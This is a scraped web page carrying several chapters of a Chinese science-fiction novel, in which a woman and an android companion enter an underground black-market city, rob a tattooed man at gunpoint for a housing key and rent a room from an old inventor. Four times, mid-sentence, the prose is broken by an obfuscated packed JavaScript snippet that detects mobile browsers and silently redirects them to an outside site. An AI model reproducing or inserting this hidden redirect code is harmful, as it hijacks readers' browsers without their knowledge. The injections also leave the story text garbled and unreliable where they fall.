人们身着厚厚的防辐射服,在大气防护罩开启时工作,一旦大气波动、尘暴来袭,他们就需躲入地下防空洞,以求一夕安稳。 此时的金銮环形城无论内外,都是同样的动荡、荒芜。而按照地球指挥部的规划,环形城也只有内面一侧的建设计划。 直到一场空前强烈的大气波动来袭。 数十万支施工队被迫躲入地基界避难,这一避就是九年。 这九年间,施工任务中断,广袤而空旷的地下空间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125354|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却被人们着手开发,变成了地球政府所不知的自由市场。 避难终有结束时,而这片自发的乐土或许将被收缴。由此,一些人类脱离队伍,继续向下挖掘,试图开辟出属于自己的全新世界。 这便是「矿洞」的发源。 “这部分人类的孩子大多出生在大气波动年间,他们继承了上一代的遗志,一代代继续向下开凿,最终成功挖穿地基,形成了你现在所看见的这个大坑,然后穿过它来到环带外面。”燕无乐继续降低飞船,让应霁可以看得更清楚。 而在金銮环形城开发的初期,「矿洞」又成为了内外面沟通的渠道,许多人自愿或被迫地放弃了合法公民身份,借由它穿到了这里。 扁舟继续下降,在足够开阔的洞口前,它更像一枚飘摇而下的落叶,恰巧落入井中。 “那些灰暗的矮房群、还有「矿洞」内壁上这些附着的居所……都源于那时。” 燕无乐长长地出了一口气,“星系政府对此鞭长莫及,于是数百年前将它从环形城内面单向阻断,只进不出,以维护社会安定。” 飞船从巨坑之中重新爬升。此刻,他们脚下是不见尽头的深渊,四周是一望无际的灰黑色矮房。 她轻叹一声。 “现在,还知道这里的金銮城居民管这里叫做「极夜城」。” 「扁舟」从密密麻麻的房群上驶过,它们如此相像,以至于应霁无法准确标识记忆点。 一个又一个问题从他的处理器中接连冒出,而燕无乐却愈发沉默。 为什么自己检索不到的内容,她却能娓娓道来? “……刚说了,别这样看着我。”察觉到应霁揣测的视线,她只得解释,“科鸢集团几乎和环形城同岁,家里知道些内幕也正常。” “更何况「矿洞」并不像传言中那样,被政府彻底封死。” 应霁懂了:“所以阿芙洛狄研究院是想通过这个通道,把那批‘样品’送到地下城?” 燕无乐又意味深长地摇了摇头:“不止。即使出生在地下城的人类,也依然有办法去金銮城内生活。” “而且是政府鼓励的、合法的途径。” 比起高度发达的金銮城,极夜地下城终年黑暗,它的发展水平甚至不足以支撑恒久的光源,他们所见的景象与百年前没有区别。 然而按理来说,这么多年过去,就算基因突变这里也该诞生天才,它怎么就没被人带着发展? “因为这些人都去金銮城了。”燕无乐淡淡道,“每三年,政府都会对地下城居民开放筛选,通过的人就能获得金銮城的公民身份。他们自然就不用生活在这里了。” 于是环形城的内面飞速更迭,而外面在百年后仍然荒芜。地上地下,两种世界。 燕无乐说完,扁舟内陷入沉默。她的光屏投射在操作台前,上面的内容显示目的地就在附近—— 然而放眼望去,除了一个接一个、一个叠一个的灰色矮房,这哪还有其他景象? 19. chapter 19 低空中,「扁舟」无声地悬浮了一会儿,很快又继续下潜。 他们找了一处空旷的低洼,将开了隐形模式的飞船停了进去。 极夜城和金銮城共享同样的大气与重力,因此他们无需刻意准备,舱门外仍适宜人类生存。 但燕无乐和应霁没有急于出舱。 他们回到了起居室,掀开了各自的单人床垫——应霁穿上工装马甲,然后将零碎的枪械弹药放入口袋,下一刻他又收拾起便携工具,以备不时之需。 最后是那两枚出发时燕无乐塞来的螃蟹芯片,他犹豫了一下,最终将它们藏进了贴身衬衣。 做完这些,他好整以暇地复盘着方才被灌输的信息,除了极夜城的基本情况,燕无乐还警告了他不少。 “这里和金銮城不一样,完完全全,不一样。” 应霁将她的最后这句话录了下来,此刻在耳内又播了一遍。 不知为何,自己的处理器对这句话异常敏感,上面被打上了「紧张」「担忧」「郑重」等情绪标签,而燕无乐说的话中很少会这样。 很新奇的感觉。他又悄悄将这句话播放了一遍,熟悉的声音一字一顿。 一旁的燕无乐忙于伪装,完全没注意到身后的应霁在做什么。 此时此刻,她脱下装备齐全的马甲,撸起了右边袖子,半截银光闪烁的金属手臂就这样暴露在灯光下,血管般分部的灯条显示充能已满。 而半敞的橱柜里,几把手术刀和医用缝合针躺在其中,旁边是提前培育好的皮肤组织,它们即将覆盖在机械臂表面。 如机械臂般招摇的特征,不做伪装将隐患无穷。 “好了。”她向应霁展示了下右侧手臂,上面的针角处覆盖了蜡,歪歪扭扭做出了疤痕增生的效果。 “——刚才交代过的事情,都记住了吧?” * 污水旁有黑影窸窣作响,一只耗子叼着根手指疾驰而过,转瞬被伏击已久的蟒蛇吞吃入腹。 那团老鼠在它的喉间鼓成一个肉球,丝滑移动时又被一支铁夹猝然卡住!刹那间,蟒蛇奋力扭动,然而还是被铁夹一把掐回笼中。 “还想跑?”一个壮汉踹了脚蛇笼,随后又坐回马扎低下了头,“瞧一瞧,看一看,地穴现抓的长虫,便宜卖咯——” 他坐在一条狭窄绵延的巷道中,身旁挤着同样打扮灰暗的摊贩,唯一不同的是面前的货品——蟒蛇、原矿、碎肉、残肢,还有二手金属零件。 无论是什么,前面都立着明码标价的牌。顾客走过时直接将钱扔在地上,摊贩们则立刻打包对应的货。 不要抬头,无需多言,这是城区黑市多年来养成的规矩,防的便是惹祸上身。 燕无乐不小心踏入污水坑,水花溅到应霁的裤腿,但他们都无暇顾及。 脏水同时溅到货品上,小贩们一边嘟哝一边擦拭,即使如此,他们也没抬头瞧是谁走路这么不长眼。 而在众人身后,一间间黑洞洞的大门敞着,其上是三四层高的小楼,偶尔有灯光从窗后透出。 二人的视线从中掠过,很快,燕无乐就像发现了什么,突然放缓了脚步。 “啪叽——” 这次,她重重地踏入污水,脏水再次泼向四周货品。一旁的小贩终于忍无可忍嚷嚷着后退了几步,与此同时,他周围的小贩投来目光,看清事由后也不约而同地抱怨起来。 但燕无乐没有就此消停,她站在水坑中,一把拽住了身前的应霁,惊声道:“我受够了!” “你这个骗子!” 说罢,积蓄已久的眼泪滑落,燕无乐一手悄悄捏紧口袋中的眼药水瓶,另一只手拽住旁边男人的衣角,边哭边蹲下身,一副打死也不往前走一步的模样。 而她身旁的男人却皱着眉,一脸不耐烦地扯开了她的手。 小贩们耳尖,只听得男人“啧”了声后,转而就是坚定远去的脚步声。 逼仄的巷道中只余这年轻女人头埋臂弯、一阵一阵的低声抽泣。 有几个大胆的小贩悄悄瞄了几眼,见她哭得无暇他顾,又像个鹌鹑似的缩成一团,便愈发肆意,甚至和周围人窃窃私语了起来。 而在他们头顶上方,原先漏出的丝丝灯光也被人影覆盖。在众人仰望才能看清的地方,另一些人仅凭玻璃遮罩就能看得张扬。 这些玻璃很有年头了,薄薄一层,隔音效果并不如想象中那么好。 因此,方才头也不回的应霁此刻站在拐角处,将接收器灵敏度调高,黑楼内人的一举一动就被悉数收入耳中。 果不其然,原本寂静的房内忽然脚步纷乱,伴随着调笑与脏字,声音开始向楼下移动—— 不远处,燕无乐的“哭声”渐渐微弱,她只感到右臂手腕震动了一下,身后随即传来不怀好意的咋呼: “哎!这市集开了这么些年,谁还不知道规矩敢来这闹事?” 小贩们立刻噤声,周遭只剩窸窸窣窣收拾货品的响动。 燕无乐闻声抬头,只见一个五大三粗的光头男人朝自己走来,发绿发紫的刺青从脖颈一直盘旋到头顶。 她的眼眶还剩些没吸收完的人工眼泪,加上头埋臂弯太久,双眼闷得发热发红,此刻真有种梨花带雨、我见犹怜的残败美感。 连躲在暗处的应霁都不由得摇摇头。 简直是换了个人。 刺青男人居高临下地打量着燕无乐,手指在胡茬上摩挲,故作为难道:“新来的?还是走错路了?不知道这里什么规矩吗!” 见她瑟缩着摇了摇头,一副怯弱不敢吱声的模样,男人又放软了语气,“小姑娘,大哥也不是责备你,只是这里实在不安全,你看你一个人被丢在这也不是办法……” 说罢他伸出手,想帮燕无乐整理一下披散的长发,而她不经意地一避,刺青男人只得退而求其次地扶她一把。 温热又柔软的触感顺着外套面料传来,他面上闪过一抹得逞的微笑:“这样,我们先出去——” “看你人生地不熟,大哥就好心告诉你,这小姑娘家家的在极夜城内可是有大把机遇!你就快快忘了那负心汉吧!” 燕无乐懵懂地点点头,趁着抹眼泪,摁下了手腕内的信号发射器。 随后她亦步亦趋,跟着男人往巷道的更深处走去,那里已容不下临街摊贩,光线在越来越逼仄的高墙下愈发昏暗。 嘀嗒落下的水声此刻放大,细细密密,像绕不开的迷障。 他们又走了数十米,外套下燕无乐几乎汗毛倒竖,男人才自信地停下脚步,“这地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131034|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一般的本地人才不会这么快给外人讲!” 污水横流的地面陡然被一堵黑墙截断,其后,数座歪歪扭扭、方向不一的巨大阶梯矗立。它们顺坡而下,陡峭处甚至扭为一体,一齐通往更深不见底的地下。 男人“嘿嘿”一笑,视线从头到脚将她扫过,又用余光瞟了眼他们来的方向,什么青年,什么小贩,通通不见。 于是他笑得更猖狂了些:“刚刚那些不过小打小闹!接下来,哥带你瞧瞧什么才是大世面!” 燕无乐顺梯而下,寒冷的狂风呼啸而过,其间隐隐夹杂着甜腥的味道,伴随着男人身上焦臭的烟味,他们走到了阶梯的尽头。 这里并非她刚所见的荒芜破败,相反,地下更亮、更嘈杂,被开凿出的窗口后随处可见欢歌丽影。 而在这些半地下室似的窗口上方,则是更多黑洞洞的房间。它们附着在阶梯内部,狭窄而阴暗,只有窗框外悬挂着花花绿绿的衣服。 燕无乐脚步一顿。 即使早有预料,但当真正站在这灯红酒绿的门前,她还是感到头皮发麻。 身前的男人依旧盛情,只是眼神多了分不怀好意。见燕无乐停下脚步,他不耐烦地“欸”了声,“这可是极夜城内女人最好改命的办法,简单、轻松!动动嘴跳跳舞,躺着就把钱赚了!” 男人像一只喋喋不休的青蛙,吐出的话没一句能听。见燕无乐不为所动,他终于撸起袖子,不由分说地搂住她的肩。 这一下可触着了逆鳞,燕无乐撇开男人,又不动声色地捂住了隐隐发热的右小臂。 但戏还没演完。 “大哥,我只想找个住的地方,其他做什么都好,这个就实在……” 此话正中男人下怀。只见他呵呵一笑,也没计较燕无乐方才甩开他的那一下,又将手臂搭了上去。 “早说嘛,刚才那条街看见了吗?大半都是哥的!随便给你开一间咯!” “要么,”他又用下巴指了指前方色彩明艳的厅堂,“哥也可以常来这找你!” “怎么样,二选一很公平吧?” 说罢,他自信地向怀中看去,期待这个像迷途小鹿般的女人能露出些楚楚可怜的神色,最好有泛红的双眼,或者紧抿的、委屈的唇角。 但她却出奇的平静,精致的五官仿佛他那些刚出厂的情趣硅胶,连眉头都没有皱一下。 “什么意思?都不选的话我就帮你选了哦?” “还是说都喜欢,选不出来了?” 男人坏笑着把脸凑过去,这下她终于有了反应。只见她将手伸向他的脸,神色怅然似乎接受了自己的处境。 紧接着,他闻到了一股焦糊味。 火辣辣的感觉这才从脸颊蔓延开来,他还来不及大叫,酥麻感就从侧脸传到了半身,直到四肢都抽搐不止。 男人轰然倒地,意识消散前,他视线中出现了另一个男子——是方才狠心将这美人抛下的那人。 电击让他口齿不清,但愤怒还是超越了生理:“你、你!是你指使这个女人!让她来、来骗我!” 然而这个青年却没理会,他只是上前瞥了眼,很快又把位置让给了女人。 燕无乐掏出一把枪: “错了,从头到尾都是我的计划。” 20. chapter 20 刺青男人已经口吐白沫,黑洞洞的枪口直抵额头。 他惊恐地瞪着燕无乐,又不敢置信地将视线转向应霁,仿佛同样身为男人,这个他刚贬低了一路的陌生人就会伸手相救。 然而应霁的神情比枪管更冷,看不出丝毫波澜。 不远处虚掩的厅堂内爆发轰鸣,听不出具体旋律,只有盖过一切的音浪。疯狂、躁动,像极夜里永不消亡的绿光,在众人心知肚明的地下涌动。 “初来乍到,我们需要住所。”刺青男人听见枪口后传来女人平静的声音,供房或消失,她给出了两个选择。 威胁当前,聪明人都知道该选哪个。然而刺青男人抽了抽麻木的嘴角,竟扯出了个荒诞的微笑。 “极夜城内、那么多房,你随便进去杀、杀个、倒霉鬼就行,惹我,没必要——” “你、你怎么知道,我会不会报复你?”说罢,男人倒吸一口冷气,像一台破旧的鼓风机,吭哧吭哧地笑了出来。 “我怎么不知道?”燕无乐指尖微动,扣住扳机缓缓下压,“砰”地一声,男人瞳孔骤缩,子弹不偏不倚地钉在了他耳旁的地面上。 耳鸣如潮水般涌来,天旋地转之际,刺青男人看见那个一直旁观的青年摁下女人的枪,他的手掌贴在炽热的枪管上,却没有太多反应。 这是动了恻隐之心,还是看不下去这疯女人的冲动行事? ——自己终于要得救了吗? 男人的胸膛剧烈搏动,青年终于接过了女人手中的枪。然而下一秒,漆黑的枪口再次对准了他。 一道温和的男声渐渐从耳鸣中渗入,阴恻恻的。 应霁转头对燕无乐说:“这沾血的活还是让我这种黑户来做吧,比较合适。” 她眨了眨眼,随即应允。 这下刺青男人彻底绷不住了。如果说先前歪掉的那一枪是妇人之仁,那眼下这冷峻的男人没有理由放过他——况且、况且他刚刚还那么对他的女人! 燕无乐静默地立在一旁,她的视线扫过正在地面扭动的男人周身,然而始终没有发现她想要的密钥类装置。 极夜城最初是完全的自由之地,它能发展成如今弱肉强食的模样,依托了不少来源复杂的加密手段。其中,掌握密钥核心技术的人垄断了城内地产,拥有了房屋流动的大权。 她虽然可以强行破开这一巷道老破小的大门,但没有本地许可的密钥,他们早晚会被纠察队盯上,最终变成通缉在案的流窜人员。 而想要以最快速度获得房屋密钥,合法的流程起码要两三个月,而非法的……燕无乐瞟了眼地上苦苦挣扎的男人,决定靠抢。 应霁的血肉下是精雕细琢过的机械骨骼,他持枪的手比任何时候都稳。此刻他一步步朝着男人逼近,倘若男人再不主动交出某个密钥,他浑身的青紫纹身将被鲜血浸染。 同时,应霁扫描着他全部的口袋,随后他踩上了男人腰侧,那里皮夹克的内部,一个棱柱体正发出幽幽的辐射信号。 燕无乐立刻意会,她蹲下身准备去掏时,不远处嘈杂的音乐声忽然吵了好几倍,她下意识挡了下耳朵——而剧变瞬间发生!地上的刺青男人突然侧身翻滚,一把明晃晃的匕首从他的腕间脱出,刹那间与枪口碰撞。 子弹同时迸出,弹射到了角落钢板!随后应霁几枪连开,然而只听得气流声响,它们都贴着男人身体擦过。 这动静不小,开阔空地内又毫无遮挡。应霁“啧”了一声换掉空弹夹,趁此空档瞟了眼不远处的歌厅大门,那里仍然喧闹,但似乎有什么变化。 他来不及细想,上膛了新的麻醉弹。这次男人没有先前好运,药剂被弹头牢牢注进了血液。 冷风阵阵,燕无乐忍不住打了个寒战,她快步上前抗住昏迷男人的一只臂膀,加速把人挪到角落。 在这过程中一个棱柱体从男人身上滚落,燕无乐捡起一看,脸色骤变。 “这不是密钥,”她喃喃道,“我们被骗了。” “怎么回事?”应霁的感应器依然可以接收到棱柱体散发的辐射,而燕无乐把它递到眼前时,他才发现那不过是一段天然矿物——这样的晶体,在四处挖掘的极夜城内随处可见。 他和燕无乐快速交换了个眼神。或许他们一开始就找错了人,这刺青大汉可能只是个喽啰,真正的密钥并不在他身上。 应霁倒出麻醉弹,这次换上了货真价实的子弹:“要处理掉吗?留着是个隐患。” 燕无乐思索后拒绝。 “……没必要,闹的太大对我们没好处。” 于是应霁收起了枪。 白折腾一趟。 然而还未等他们转身离去,一道陌生的声音就在不远处响起: “看你们忙活半天了,怎么,没拿到想要的东西?” 这声音沙哑,话也说得不急不缓。见二人回头不语,声音的主人又往前迈了一步,然后像自证清白似地把双手往头顶举了举。 来者的相貌这才暴露。只见这人被一件宽大的皮衣包裹,同样材质但破旧的礼帽下,是一头银白卷曲的头发。 他深陷的眼眶外是一副银质眼镜,与众不同的是镜腿旁多添了个旋钮,其上又连接了几片形状各异的小镜片。浓密的胡子覆盖了他大半张脸,说话时只能看见银白的胡须浮动,表情被藏在其中,神秘的气氛笼罩。 见他确实没有威胁,燕无乐悄悄按下了一旁应霁的手枪,随后问了句“你是谁”。 “我叫提亚斯。”老者倒是很从容,“你们是从金銮来的吧?极夜城内很少有女人这么抛头露面的。” “……” 燕无乐欲语又止。倒是应霁眉头一挑,对此颇有兴趣。 这微妙的情形坐实了提亚斯的猜想,他发白的胡须抖了几下,接着抛出了句让二人彻底驻足的话: “——想当年,我也在金銮城生活过。” 二人交换了个视线,提亚斯顺势提议去喝一杯。 小巷的尽头也是间分贝不小的酒吧,提亚斯轻车熟路地攀上一支通往地下的梯子,重重帷幕之下,是另一番天地。 狭小的房间被机械零件堆满,为数不多的落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148709|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚地勉强塞进长桌,被强行做成了吧台的模样。 燕无乐默默测算了一下,发觉他们现在比那震耳欲聋的酒吧舞池还要下沉,这里的建筑已经和土地融为一体,人们在已有的洞穴内不断开凿出新空间。 吧台后有个年轻男孩正在打盹,听到脚步也没抬头,迷迷糊糊哼了句“自便”。 “自便什么自便!臭小子,今天可是有新客人!” 有限的空间把提亚斯的声音衬托得中气十足,声浪在玻璃瓶罐间来回碰撞,他的手掌在吧台上一拍,激起一层浮尘,“金銮城来的!你不是一直对金銮城感兴趣?” 这句话像戳中了什么开关,那男孩一骨碌爬起来,“哦”了一声拨开提亚斯,于是燕无乐被迫对上了这炯炯的目光。 他抹了把脸,手忙脚乱地把吧台收拾了一下,一边调酒一边自我介绍:“我叫阿维,今年十五了!” 雪克杯在他手中从左摇到右,打开后弹簧一取,泡沫就混着液体哗啦啦地灌了一大杯。 一套动作下来行云流水,几乎要让燕无乐忽略面前这个被推来的扎啤杯。 刚被摇晃过的液体浑浊不堪,在昏黄的灯光下像一罐泥水。 她把嘴边的夸赞收回肚里,尴尬地笑了笑。阿维对此浑然不觉:“我调酒很有一套,是熟练工了!” 然后他才像想起什么似的,放低声音凑过来,“姐,这杯今天算我请的,你们能不能给我讲讲金銮的故事?” 男孩的眼睛里像有火焰跳动,突如其来的热情和直白让燕无乐有些措手不及,她大脑宕机了几秒:“……金銮城的故事?” 金銮城有什么故事? 燕无乐脑海中闪回了自家庄园、科鸢大厦、墙壁雪白的实验室,还有布满密密匝匝胶线的培养仓,半天找不到一个合适的形容。 见她沉默,男孩疑惑地嘟哝了两句,手上调酒的动作放慢不少。 但他还是有些做酒保的服务意识,耐心地抬头等待回答。 应霁在一旁抿了口酒,然后立刻悄悄把它推远了。 “金銮城是个很繁华的地方……大概就是,要什么有什么。” 阿维不解:“极夜城也是啊,想要的话没有搞不到的东西。” 该怎么向他描述那些自己世界中从未出现过的事物呢,这个问题在她心里无解。于是燕无乐尴尬地笑了笑:“确实是。” 但阿维显然不信,他停下手上的动作,看看二人又看看提亚斯,眼神中充满了怀疑。 “但是提亚斯就能说很多啊?” “那是因为我待的不久,游客嘛,看什么都新鲜。”最边上的人摆摆手,然后顺手端走了二人不喝的酒。 提亚斯把它们一饮而尽,然后才不急不缓道:“人家这是从小到大都生活在那,见怪不怪,你这么一问当然说不出来。” 这话也算歪打正着,阿维“哦”了声后表情又殷切了起来。燕无乐连忙转移话题:“你们看起来很熟,怎么认识的?” “哦,提亚斯吗?”阿维继续洗着杯子,“他是我的房东!” 21. chapter 21 房东? 他们心照不宣地想到了一起。 但刚才提亚斯目睹了他们威胁刺青男人的全过程,包括那句意味不明的“想要的东西”,他已经知道他们在寻找住处。 那来搭讪他们是……? 燕无乐倒希望他只是个寻求客户的房产中介。 应霁的枪贴着钱包,信用卡显然用不了,就是不知道贵金属在极夜城内能不能流通。 而提亚斯却对着阿维大手一挥:“还房东?那你说说自己都拖了几个月房租了?” “我就是混的久了,比年轻人多点积蓄罢了,空出来一两间房放着也落灰,你住了顺便帮我打扫打扫。” 随后他转过身来,神情自若,“你们也正在找房子,对吧?” 燕无乐和应霁对视一眼,点了点头。 * 提亚斯没有骗他们,他确实有房,只是条件一言难尽—— 古旧的门锁上锈迹满满,打开后是一室一卫的小房间,这里依旧位于酒馆附近,按水平测算来说,它的位置甚至比酒馆还要下沉。 这房间也不是规矩的立方体模样,它几乎没有什么棱角,像一个蛋的内部,目光所及之处的墙上糊满灰白浆糊。 地面也不太平,燕无乐随手晃了晃唯一的椅子,结果顺带荡起一层土。 “这原来做什么用的?”她随口问道。 “也住人,不过是好多年前了。”提亚斯站在房间中央,“极夜城人口暴涨时很流行这种扩建出的房子,当年人们都管它们叫‘蚁穴’。” 蚁穴,很贴切的名字。他们回想这一路,每段阶梯都向下,每间房屋都越埋越深,人们永远不会知道自己脚下还有多少相同的人生。 “现在地下没有那么多可开采的东西了,也没有那么多人咯。” “那他们去哪了?”应霁不理解。 提亚斯饶有兴致地抬了抬那布满皱纹的眼,像是在解释什么冷笑话:“去世了,时间会带走一切。” “没有新的人出生,这些地方就闲置了。”燕无乐做了补充。 “你女人可比你聪明多了。”提亚斯的手肘撞了撞应霁,他正站得笔挺分析房屋数据,被这忽然一杵打断了思路,面上一阵迷茫。 “身板看着也弱。”提亚斯又“啧啧”两声,颇不理解地又看了看燕无乐。 眼前上演了这一番诡异的互动,燕无乐觉得有些好笑。“您身体倒是挺好的,心态也……” “打住!”这声依然中气十足,完全不像一个银发老人发出的声音,“不要用金銮城的标准来衡量我,在极夜城内,活到我这个岁数是一种本事。” “什么本事?” 不得不再次扫描的应霁收回目光,诚恳发问。 提亚斯:“……” “行了,不想和你们小年轻争。” 他一脚跨出大门,顺手把门敞得更大,狭窄的隧道内还有另一条楼梯,在昏暗的声控灯下通向另一个门口。 提亚斯走上这楼梯时显得从容许多。 他们一路跟随,直到提亚斯拧开了门锁—— 这是一间同样不算大的房间,但比起刚才那空空荡荡、灰尘漫天的小屋,这里倒是充满了生活气息。 燕无乐抬起脚尖,低头思量了半天也没想好要不要踏入其中,而身后的应霁透过她的头顶勉强望了眼内部,也默默地后退一步。 在二人的脚边,一些字迹漫漶的草稿纸散落着,一直延伸到不远处的书桌旁。而那连同周围的三四个置物架,都层层叠叠堆满了各色金属零件。 不是什么稀奇货,燕无乐腹诽道,和他们刚路过的小贩卖的没什么区别。 但下一秒,她又敏锐地捕捉到了些别的动静。 这细微的声音既像齿轮转动,又像……啃咬木屑? 还没等她汗毛倒竖,站在屋内唯一落脚点的提亚斯就侧过身来,尽力为二人展现这奇异的装置—— 黯淡但成群的小灯被串成灯带,悬挂在置物架之间,那些大小各异的齿轮连接成片,竟然在缓缓转动。 而在由齿轮搭建的堡垒之间,燕无乐听见了窸窸窣窣、毫无规律的响动,一双黑豆般的小眼睛忽然从中冒出,然后又消失在缝隙之中。 “老鼠?”燕无乐下意识向后靠去,而好奇心很快又把她拽了回来。她忍着不适,不确定地又向前一步,“它们是你养来发电的吗?” “当然不——不要把我们的关系想象得那么功利,难道和这些毛茸茸们各取所需就不能成为伙伴了吗?”提亚斯的大笑中透露着理所当然,“我可不是无情无义的科技商人,像金銮城的那什么、呃、科鸢集团一样。” 这下燕无乐没话说了,应霁也移开了目光。 提亚斯又张开手臂旋转了一圈,试图用神情让二人体会到这是多么伟大的创举。 而燕无乐从小学的就是尊老爱幼。 她尴尬地笑笑,佯装崇拜地“哇”了一下,又挪开一步后才问:“这是什么?” 而应霁顺从地站到她身边,擦身时悄悄耳语了句:“他的本事。” 令人无语,燕无乐瞪了他一眼。 “这是什么?这是个外力发电的装置模型!虽然它现在只能维持这些小灯带,但只要资源足够,再找到足够充分的能源,它将为极夜城带来源源不断的动力!” 是意料中的答案,燕无乐笑笑后不再说话。 提亚斯的想法虽好,理论也无可挑剔,而极夜城是个资源稀缺的地方,在这样苛刻的外部条件下,让它落地才是难点所在。 倒是应霁走上前去,仔细观察了这个朴素的装置,然后耸了耸肩:“你的想法不太好实现。” “从建造到运行,似乎没一个环节是可执行的。” 他的手指伸进牢笼缝隙,一对胡须连着粉色鼻头探了出来,抽动着嗅了嗅后又快速缩了回去,一丝余温留在了指尖,很快化为了他体内的数据。 提亚斯捕捉到了应霁解释中零星的几个专有词汇,略有陌生,但他心态很好,于是他又乐呵呵地转向燕无乐:“看不出来还挺有才华的,哈哈。” “还有刚才拿枪时那杀伐决断的样子,醋劲不小呐!怪不得你喜欢他。” “……” 一切的主导者没有说话,只递了个眼神让应霁适可而止。 提亚斯:“嗐,妻管严。” 这下燕无乐彻底不说话了。 “好啦,时候不早了,我不像你们年轻人这么精力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153859|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旺盛,该睡觉了。”提亚斯把二人送到门口,一些二手家具也被顺势提溜出来,塞到应霁手上。 “晚上不要动静太大,老年人睡眠浅,那玩意也不咋结实。” 他用下巴指了指应霁手中的折叠床,立刻关上了门。 而燕无乐将这堆家具悉数整理后,才发现她想多了:这鹌鹑蛋一样的小房间放这么一张“床”还是太宽裕了。 更贴切地说,这更像一张带腿的折叠担架,几层单薄的弹力面料覆盖在钢架上,全展开也只够两个人侧身而躺。 提亚斯给的其他家具也是类似——小马扎、折叠桌、几个泛黄的灯泡,总之东拼西凑也组不成可过夜的地方。 她瞅了眼正在打扫房间的应霁,掐指一算能量消耗,让他原地待机一夜实在过意不去。 此刻应霁也干完手中的活,一转身就看见燕无乐目光空洞地盯着自己,他不明所以:“怎么不睡,明天一早不是还要和提亚斯签房屋契约?” “这床有点窄。” 燕无乐躺上去,刚想挪到一侧,就感到身下的“床板”隐隐倾斜。千钧一发时刻,还是应霁一个箭步上前将它撑住。 “没错,还挺不稳。” 他的双臂撑在床的另一侧,衣袖因为打扫而挽起,露出结实的小臂,燕无乐的视线无处安放,索性看得坦荡。 然后下意识摸了一把。 他们都被这下意识的动作整得一愣,燕无乐更是愣住,握住应霁胳膊的手不知该不该抽走。 “不会翻的,我扶着呢。”应霁眨眨眼,“这么不相信我?” “那倒不是。” 燕无乐松了口气,但手依然没有放开。她借力侧躺过来,留出空位的同时面向应霁。 “我只是在想一些夜间的保留项目。” 成年人了,床翻不翻的,不重要。 燕无乐抽回那只手,轻轻拍了拍面前的空位。自始至终她的双眼都没有离开应霁,意图再明显不过。 他的喉结滚了一下,程序响应得恰到好处。 于是二人面对面躺在一起,燕无乐几乎能感受到他的仿真呼吸。 应霁的体格优于普通男性标准,宽肩窄腰曲线凌厉,狭窄的床板容纳不下二人,他索性腾出胳膊让燕无乐枕上。 所谓“保留项目”当然是口嗨,当下这摇摇欲坠的床板经不起任何折腾,她也不觉得强迫一个高等智械服从指令是什么有情调的事。 但燕无乐的额头贴近他的胸膛,炽热的温度提醒她,应霁并没有急于休眠。 而她也没什么困意。 二人就这样相拥着沉默。 直到燕无乐感到头顶传来声音,她听见应霁说,自己今天演得很棒。 “非常真实,一瞬间我都要怀疑自己了。” “有吗?小时候和郁莱一起上过几节戏剧课而已。” 应霁低头“嗯”了一声,二人的距离在他的动作下被不经意拉得更近。 燕无乐感到自己有些喘不上气。 “……好吧,”她闭上眼喃喃道,“其实我以前是挺喜欢演戏的。” “可能很多女生成长路上都会有那么一个阶段吧,幻想自己是落难公主,然后期待着被拯救。” 22. chapter 22 燕无乐醒来时感到一阵腰酸背痛。 虽然早起的应霁已经把位置全让她了,但对躺在这不能称之为床的装置上的她来说,仍然聊胜于无。 蒙尘的镜子倒映出她憔悴的脸,燕无乐举在空中的手一顿,不知是该先洗脸还是先擦镜子。 不远处的应霁倒是已经收拾完毕,正在整理这两天的见闻。 燕无乐用余光瞟了他一眼:“光屏别露馅了,提亚斯看起来不简单。” “那你觉得他真的去过金銮城吗?”分析后的数据又反馈到光屏上,应霁越看眉头皱的越紧,“各种资料都显示,金銮城很多年前就关闭了两地间的通道,我们停飞船的‘深坑’已经变成了名副其实的坑。” 燕无乐摇头,马尾随之甩动。 谁知道呢,从提亚斯昨日的表现来看,他确实比一般的极夜城居民有本事,但是不是真的去过金銮城,她也无从判断。 